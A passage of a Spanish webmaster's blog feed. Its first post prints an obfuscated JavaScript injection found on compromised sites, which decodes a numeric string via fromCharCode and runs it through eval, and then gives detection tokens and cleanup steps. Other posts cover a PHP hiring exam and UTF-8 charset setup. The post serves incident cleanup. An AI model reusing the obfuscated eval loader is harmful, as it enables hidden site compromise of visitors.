style='color:#888!important;'&gt;41&lt;/b&gt;&amp;nbsp;&amp;nbsp;2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;42&lt;/b&gt;&amp;nbsp;&amp;nbsp;62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;43&lt;/b&gt;&amp;nbsp;&amp;nbsp;-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64&lt;br /&gt;&lt;b style='color:#888!important;'&gt;44&lt;/b&gt;&amp;nbsp;&amp;nbsp;i62i77i30i69i62i70i62i71i77i76i27i82i45i58i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;45&lt;/b&gt;&amp;nbsp;&amp;nbsp;64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7&lt;br /&gt;&lt;b style='color:#888!important;'&gt;46&lt;/b&gt;&amp;nbsp;&amp;nbsp;i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;47&lt;/b&gt;&amp;nbsp;&amp;nbsp;-26i-30i-30i86'&lt;/span&gt;&lt;span style="color: #007700"&gt;][&lt;/span&gt;&lt;span style="color: #0000BB"&gt;0&lt;/span&gt;&lt;span style="color: #007700"&gt;].&lt;/span&gt;&lt;span style="color: #0000BB"&gt;split&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'i'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;48&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;md&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'a'&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;49&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;v&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"ev"&lt;/span&gt;&lt;span style="color: #007700"&gt;+&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"al"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;50&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;51&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;v&lt;/span&gt;&lt;span style="color: #007700"&gt;)&lt;/span&gt;&lt;span style="color: #0000BB"&gt;e&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;window&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #0000BB"&gt;v&lt;/span&gt;&lt;span style="color: #007700"&gt;];&lt;br /&gt;&lt;b style='color:#888!important;'&gt;52&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;w&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;f&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;s&lt;/span&gt;&lt;span style="color: #007700"&gt;=[];&lt;/span&gt;&lt;span style="color: #0000BB"&gt;r&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;String&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;53&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;565&lt;/span&gt;&lt;span style="color: #007700"&gt;!=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;i&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;i&lt;/span&gt;&lt;span style="color: #007700"&gt;+=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;54&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;j&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;i&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;55&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;s&lt;/span&gt;&lt;span style="color: #007700"&gt;+=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;r&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"fromC"&lt;/span&gt;&lt;span style="color: #007700"&gt;+&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"harCode"&lt;/span&gt;&lt;span style="color: #007700"&gt;](&lt;/span&gt;&lt;span style="color: #0000BB"&gt;39&lt;/span&gt;&lt;span style="color: #007700"&gt;+&lt;/span&gt;&lt;span style="color: #0000BB"&gt;1&lt;/span&gt;&lt;span style="color: #007700"&gt;*&lt;/span&gt;&lt;span style="color: #0000BB"&gt;w&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #0000BB"&gt;j&lt;/span&gt;&lt;span style="color: #007700"&gt;]);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;56&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;57&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;f&lt;/span&gt;&lt;span style="color: #007700"&gt;)&lt;/span&gt;&lt;span style="color: #0000BB"&gt;z&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;s&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;58&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;e&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;z&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;59&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;60&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&amp;lt;!--/d93065--&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;61&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;
&lt;h2&gt;== Cleaning&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Well, perhaps the first action that you must take is to change your passwords on this site, specially for FTP and SSH if you have activated the Shell Access for this hosting account.&lt;/li&gt;
&lt;li&gt;The next is to remove the injections in your PHP and HTML files!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For this, i used the script &lt;b&gt;SRR_search.php&lt;/b&gt; that you can download above. In any case you will need at least find ONE inffected file for take its "token" and search trhough all your filesystem!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;in the case of the PHP injections we will search:&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;SRR_search.php?q=gzinflate&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;although this search can return "falses positives", because you can have other files than use this php function without be inffected ;) so another search that must complement the first is this:&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;SRR_search.php?q=93065&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;where precisely &lt;b&gt;93065&lt;/b&gt; is the "token" present at the begining of all the injections. I suspect that the attacker use a different token for each inffected site for store infor about us in his "database" .... gggggrrrrrrr &lt;br /&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;in the case of the HTML/javascript injections we will search:&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;SRR_search.php?q=egewgsd&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
because the javascript injection code has this piece: &lt;b&gt;}catch(egewgsd){&lt;/b&gt; although in each attacked website this code is diferent.
&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;With these searcher you will find the files injected, and because they are only a few (the ones ended with index.php or index.htm) then you can access via FTP and extract the injection mannually ;)&lt;/p&gt;
&lt;p&gt;I would like that my script for searching could accept symbols not alphanumeric like parenthesis or braquets, but... this signs are difficult to write as a GET variable in the URL :(( but if you are able to modify to script for show a box and accept this query string by POST... it will be wellcomed if you upload and share your improvement! ;) i konw that it's not so complicated but... sincerely... mostly of times the script is useful anyway.&lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;== Preventive measures&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I've read that perhaps the problem is a bug in FileZilla. As you may know, the login connection data is stored in a plain text without encryption!!!! i unknow if that is really a serious security hole... if it was so, i don't think that the FileZilla programmer hasn't take none contra-measure.&lt;/li&gt;
&lt;li&gt;I've read also about a trojan virus which inffected in this same way and once inffected one website, the next visitants to the website suffer a "browser inffection" and then th attacker can read login data for other clean sites... obviously for inffect them after! well... sincerely i didn't read very much about this yet. If you have good info from your own experience, please comment here.&lt;/li&gt;
&lt;li&gt;Anyway, the best we can do is change all the passwords of the sites we have cleaned (specially FTP &amp; SSH passwords).&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;Final note:&lt;/b&gt; remember to remove the &lt;b&gt;SRR_search.php&lt;/b&gt; file for avoid onlookers ;) Although for a better security, i put at the top of the script a checking of the IP of the call:&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;//if (!substr($_SERVER['REMOTE_ADDR'],0,7)=='189.170'){echo "Sorry, your IP is not authorizated.";return;}
&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;
but i commented this line, so in fact it don't take effect if you not uncomment it. 
&lt;/p&gt;</description><link>http://crear-paginas-web.blogspot.com/2012/04/new-php-injection-attack-and-also-html.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5429233997562751443</guid><pubDate>Tue, 27 Dec 2011 19:40:00 +0000</pubDate><atom:updated>2011-12-27T12:47:59.197-07:00</atom:updated><title>Exam for PHP web developers (LAMP-WAMP)</title><description>&lt;br /&gt;
&lt;div style="color: #006600;"&gt;
Here i share with you the exam i prepared when i needed evaluate possible candidates for work with me as a web developers.&lt;/div&gt;
&lt;br /&gt;
I work since the begining with PHP and MySQL (ever under Linux), i don't need a genius nor very intelligent person, but yes someone who can write PHP code manually and do the basic things with PHP/MySQL/HTML/CSS/Javascript and if possible jQuery.&lt;br /&gt;
&lt;br /&gt;
Then, i created the exam that &lt;a href="http://imasdeweb.com/documents/ARTICLE_BLOG_exam_for_php_programmer.txt" target="_blank"&gt;you can download here&lt;/a&gt;, or read below.&lt;br /&gt;
I hope this help someone or give any good idea ;) if you finally take this exam as inspiration and make a good improvement to it, please share with us and leave a comment!!!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #555555; font-weight: bold;"&gt;
&lt;span style="font-size: small;"&gt;&lt;u style="color: #cc0000;"&gt;NOTA:&lt;/u&gt; llevo 4 años y medio escribiendo artículos en este blog con el único interés de devolver a la comunidad de programadores tan solo un poquitín de todo lo que me han dado, especialmente los más generosos que no solo leen sino que también escriben!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Hasta ahora lo había hecho en "castellano" ("español", para los latinoamericanos), más sin embargo, a día de hoy el catalán está siendo tan agredido en su propio territorio (Catalunya, una región al norte de España) por los españoles castellanistas, que adopto la medida de cambiar el idioma de mis artículos al inglés como medida de boicot.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Lo siento por los latinoamericanos que desconocen esta polémica lingüística dentro del territorio español y que no tienen culpa, pero no dudo de que la mayoría entenderán perfectamente mi "limitado inglés", y si no harán uso de alguno de los traductores que corren por internet (recomiendo absolutamente: http://translate.google.com/#en|es|).&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Xavals... se us ha acabat el bròquil (això no crec que ho sàpiga traduir el Google :P).&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style="color: #cc0000;"&gt;
&lt;span style="font-size: small;"&gt;Catalonia is not spain!&lt;/span&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style="background-color: #eeeeee; border: 1px #aaa solid; color: #000033; font-family: sans-serif,arial; font-size: 0.9em; padding: 11px;"&gt;
=== OBJECTIVE OF THIS TEST&lt;br /&gt;
&lt;br /&gt;
We need to know the skills and measure the ability of the candidate to manage the tools most used in our day to day work (in order of importance):&lt;br /&gt;
&lt;br /&gt;
- PHP programming&lt;br /&gt;
- MySQL managing/querying&lt;br /&gt;
- HTML/CSS building&lt;br /&gt;
- Javascript programming&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== WHAT TO DO NOW?&lt;br /&gt;
&lt;br /&gt;
Build a simple web application that use HTML, CSS, javascript, PHP and MySQL. The concept of the web application is:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;-&amp;gt; Store &amp;amp; manage (add/edit/list/delete) typical task notes, as "I've an exam for new job tomorrow."&lt;br /&gt;
&lt;br /&gt;
Minimum elements to build:&lt;br /&gt;
&lt;br /&gt;
- a database table to store elements (minimum fields: task_title, task_description,timestamp_creation,last_timestamp_edition).&lt;br /&gt;
- HTML page with list of elements (tasks), with buttons to edit/delete each element, and an "add new element" button.&lt;br /&gt;
- an edit element form, with javascript data validation before submission.&lt;br /&gt;
- use a CSS linked file to present the content well(list of elements and edit form).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Notes:&lt;br /&gt;
&lt;br /&gt;
1. You can call external jquery libraries if you feel more comfortable.&lt;br /&gt;
2. Add plenty of comments to your code (PHP, Javascript, HTML).&lt;br /&gt;
3. Any other elements (client or server side) that you add to the above specifications will be welcome.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== URL: http://companydomain.com/exam/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== DATABASE&lt;br /&gt;
&lt;br /&gt;
-db_host: localhost&lt;br /&gt;
-db_user: exam_user&lt;br /&gt;
-db_passw: exam_pass&lt;br /&gt;
-db_database: exam_dbname&lt;br /&gt;
&lt;br /&gt;
PHPMyAdmin: https://companydomain.com/phpMyAdmin/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== FTP&lt;br /&gt;
&lt;br /&gt;
-host: companydomain.com&lt;br /&gt;
-user: exam_user&lt;br /&gt;
-pass: exam_pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== SOFTWARE TO USE&lt;br /&gt;
&lt;br /&gt;
You must only use:&lt;br /&gt;
&lt;br /&gt;
- obviously a browser&lt;br /&gt;
&lt;br /&gt;
- an FTP client&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + recommended: FILEZILLA (windows or linux)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + http://filezilla-project.org/download.php?type=client)&lt;br /&gt;
&lt;br /&gt;
- a SIMPLE code editor, never a sophisticated IDE&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + recommended: Windows NOTEPAD++ (windows) / Bluefish (linux)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + http://notepad-plus-plus.org&lt;br /&gt;
&lt;br /&gt;
- the database can be managed from PHP or PHPMyAdmin:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + https://companydomain.com/phpMyAdmin/&lt;/div&gt;</description><link>http://crear-paginas-web.blogspot.com/2011/12/exam-for-php-web-developers-lamp-wamp.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>4</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-7995211826534513543</guid><pubDate>Sat, 06 Aug 2011 20:34:00 +0000</pubDate><atom:updated>2011-12-06T19:30:15.078-07:00</atom:updated><title>Solución a carácteres raros y juegos de carácteres (charset)</title><description>&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;br /&gt;Si al visitar tu propia web en tu navegador ves "carácteres raros", puede ser debido a dos cosas:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;realmente hay carácteres "binarios"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;hay un conflicto de "juego de carácteres" o "charset" en inglés&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2 style="font-family: trebuchet ms; font-weight: bold;"&gt;Carácteres binarios&lt;/h2&gt;&lt;br /&gt;Si tienes esos carácteres binarios es porque tú o algún visitante o administrador de tu web introdujo en el sistema (en un archivo o en la base de datos a través de un formulario) alguna cadena de texto COPIANDO Y PEGANDO desde algún software de Microsoft, por ejemplo. No siempre que se haga eso tiene que ocurrir tal "desajuste" de carácteres, pero la mayoría de las veces que ocurre es por esa razón. es algo que te puede ocurrir aunque tengas perfectamente construida tu web a nivel de charsets.&lt;br /&gt;&lt;br /&gt;La solución a eso es disponer de alguna función PHP de limpieza de esos posibles carácteres, usándola justo cuando recibas datos a través de formularios, para que así se te guarden limpios en la base de datos.&lt;br /&gt;&lt;br /&gt;En este otro artículo comparto esta función para limpiar, aunque ya aviso de que solo funciona si estás trabajando con el charset "utf-8" en toda tu web (base de datos, HTML y archivos!):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://crear-paginas-web.blogspot.com/2011/06/eliminar-caracteres-raros-o-binarios-de.html" target="_blank"&gt;http://crear-paginas-web.blogspot.com/2011/06/eliminar-caracteres-raros-o-binarios-de.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 style="font-family: trebuchet ms; font-weight: bold;"&gt;Conflictos de charset&lt;/h2&gt;&lt;br /&gt;Hay que definir el charset de tres elementos de tu aplicación web:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;la base de datos&lt;/li&gt;&lt;li&gt;el HTML devuelto al navegador&lt;/li&gt;&lt;li&gt;los archivos del servidor (ya sean PHP o HTML o de texto)&lt;/li&gt;&lt;/ul&gt;Para empezar, &lt;span style="font-weight: bold;"&gt;la base de datos&lt;/span&gt; tiene &lt;span style="color: rgb(255, 0, 0);text-decoration:line-through;"&gt;dos&lt;/span&gt;  &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;tres&lt;/span&gt; aspectos en los que hay que configurar el charset, y no necesariamente coincidente (por eso son dos!).&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Uno es el charset utilizado para guardar los datos en sí.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;El otro el de "cotejamiento" de los datos. No me preguntes muy bien cuál es la diferencia... para eso busca por internet. Lo que te digo es que ahí ya puede haber una primera fuente de problemas!&lt;/li&gt;&lt;li&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;El tercero es la conexión del PHP con el MySQL, que también tiene que indicar el charset que se quiere usar. Es tan sencillo como añadir el siguiente comando después de cada conexión con MySQL:&lt;/span&gt;&lt;br /&gt;&lt;div style="background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;"&gt;&lt;code&gt;&lt;b style="color:#888!important;"&gt;1&lt;/b&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="color:#0000BB;"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style="color:#888!important;"&gt;2&lt;/b&gt;&lt;br /&gt;&lt;b style="color:#888!important;"&gt;3&lt;/b&gt;      $connection &lt;/span&gt;&lt;span style="color:#007700;"&gt;= &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;mysql_connect&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$db_host&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$db_user&lt;/span&gt;&lt;span style="color:#007700;"&gt;,&lt;/span&gt;&lt;span style="color:#0000BB;"&gt;$db_passw&lt;/span&gt;&lt;span style="color:#007700;"&gt;) ;&lt;br /&gt;&lt;b style="color:#888!important;"&gt;4&lt;/b&gt;      &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;mysql_set_charset&lt;/span&gt;&lt;span style="color:#007700;"&gt;(&lt;/span&gt;&lt;span style="color:#DD0000;"&gt;'utf8'&lt;/span&gt;&lt;span style="color:#007700;"&gt;);&lt;br /&gt;&lt;b style="color:#888!important;"&gt;5&lt;/b&gt;&lt;br /&gt;&lt;b style="color:#888!important;"&gt;6&lt;/b&gt;  &lt;/span&gt;&lt;span style="color:#0000BB;"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;[&lt;span style="color: rgb(255, 0, 0);"&gt;* añadido el 6 de Dic. de 2011&lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;Lo recomendable es que ambos coincidan y que sea "&lt;span style="font-weight: bold;"&gt;UTF-8 unicode&lt;/span&gt;". Los demás charset suelen estar ahí para compatibilizar con bases de datos antiguas, pero hoy en día se recomienda UTF-8 UNICODE como charset completamente universal! puede contener carácteres chinos, árabes, rusos, latinos, etc... y todos mostrarse en un mismo párrafo perfectamente! ;)&lt;br /&gt;&lt;br /&gt;La segunda cuestión es el charset de la página web devuelta al navegador. Es decir, el charset declarado en&lt;span style="font-weight: bold;"&gt; el meta-tag del HTML: "content-type"&lt;/span&gt;, que indica al navegador con qué charset debe renderizar el contenido de tu HTML. Y de nuevo, lo recomendable es que uses UTF-8, así:&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;"&gt;&lt;code&gt;&lt;b style="color:#888!important;"&gt;1&lt;/b&gt;  &lt;span style="color:#000000;"&gt;&amp;lt;meta equiv="Content-Type" content="text/html; charset=UTF-8" /&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;El tercer elemento de tu aplicación web en el que tienes que definir el charset es el más sútil y a veces problemático! Se trata del&lt;span style="font-weight: bold;"&gt; charset usado para el contenido de tus archivos en el servidor &lt;/span&gt;(PHP, texto, HTML, etc...). Y digo que es problemático porque solo de unos años para acá los editores de texto o de código que usamos en el escritorio de nuestros PCs (sea Linux o Windows...) han ido incorporando más funciones para poder definir el charset de nuestros documentos de una forma más clara y controlada para el usuario. Y aún así a veces yo tengo problemas!&lt;br /&gt;&lt;br /&gt;El problema en este punto es que por ejemplo algunos de tus archivos .php estén codificados en &lt;span style="font-weight: bold;"&gt;iso-8859-1&lt;/span&gt; y tu base de datos en &lt;span style="font-weight: bold;"&gt;utf-8&lt;/span&gt;. ¿Porqué? pues porque entonces es un poco imprevisible como se renderizarán algunos carácteres, como por ejemplo el símbolo de euro, que no tiene una codificación propia en iso-8859-1. ¿Ya vas entendiendo el lío que se puede montar?&lt;br /&gt;&lt;br /&gt;Por esa razón hemos de usar un editor de texto/código que nos permita saber en todo momento el charset de nuestros documentos y modificarlo a voluntad. Es algo que cada día se ve más, pero aún no acaba de funcionar bien.&lt;br /&gt;&lt;br /&gt;Por ejemplo, en Linux yo uso el excelente editor opensource &lt;span style="font-weight: bold;"&gt;Bluefish&lt;/span&gt;. Pero en la última versión parece tener un bug según el cuál te abre un documento con el último charset que usaste!!! imagínate que lío!!! si no voy con cuidado y tengo webs que usen iso-8859-1 y otras utf-8, si no me fijo me puede ir mezclando los charset entre ellos!!!! cosa que ya me ha ocurrido, porque aún tengo unos cuantos sites que tengo que convertir totalmente a utf-8 :(((&lt;br /&gt;&lt;br /&gt;En fin, creo que queda evidente el problemón... símbolos de euros que no aparecen, vocales acentuadas que se ven como ~A- o cosas peores...&lt;br /&gt;&lt;br /&gt;&lt;h2 style="font-family: trebuchet ms; font-weight: bold;"&gt;Conclusión&lt;/h2&gt;&lt;br /&gt;Es muy sencilla la moraleja a todo lo anterior:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;usa UTF-8 para tus archivos&lt;/li&gt;&lt;li&gt;usa UTF-8 para tu base de datos&lt;/li&gt;&lt;li&gt;usa UTF-8 como charset en el meta-tag de tus páginas HTML&lt;/li&gt;&lt;/ul&gt;--&amp;gt;</description><link>http://crear-paginas-web.blogspot.com/2011/08/solucion-caracteres-raros-y-juegos-de.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>7</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-7954253314605089769</guid><pubDate>Wed, 01 Jun 2011 07:26:00 +0000</pubDate><atom:updated>2011-06-27T15:42:07.161-07:00</atom:updated><title>Eliminar caracteres raros o binarios de un string en PHP</title><description>&lt;span style="color: rgb(0, 102, 0);"&gt;Bueno, espero que estés aquí porque te hayas encontrado con el siguiente problema: tienes carácteres "extraños" o "binarios" o "no ascii" en algunos "strings" de tu base de datos, y no sabes cómo &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);"&gt;filtrarlos&lt;/span&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;. Estos carácteres aparecen habitualmente al hacer un "copiar y pegar" desde algún software de Microsoft (Outlook, MSword, MSexcel, etc...) de usuarios que estén rellenando un formulario en tu web, por ejemplo. Me imagino que es el caso más habitual :(&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo más curioso es que el hecho de que tengas un carácter de ese tipo infiltrado en tu base de datos puede ocasionar los errores más variopintos y puede costar de llegar a descubrir que es por culpa de ese maldito carácter! En mi caso estaba pasando datos de un servidor a otro usando un webservice que trabaja con SOAP y que por tanto los datos se envían en un formato XML perfecto. Eso quiere decir que si en la cadena de datos que estás transmitiendo tienes un caracter raro de esos... entonces ya rompes el formato del XML y recibes un error del tipo: "documento XML mal formado".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Solución&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aquí os dejo una función que a mí me sirve para limpiar de carácteres raros una cadena de texto (string). Uso &lt;span style="font-weight: bold;"&gt;PHP 5.2&lt;/span&gt; corriendo sobre &lt;span style="font-weight: bold;"&gt;CentOS (linux)&lt;/span&gt;, por lo que no sé si habrá diferencias con otros entornos, pero por probar no pierdes nada, y en todo caso la solución va por aquí:&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;function&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;f_remove_odd_characters&lt;/span&gt;&lt;span style="color: 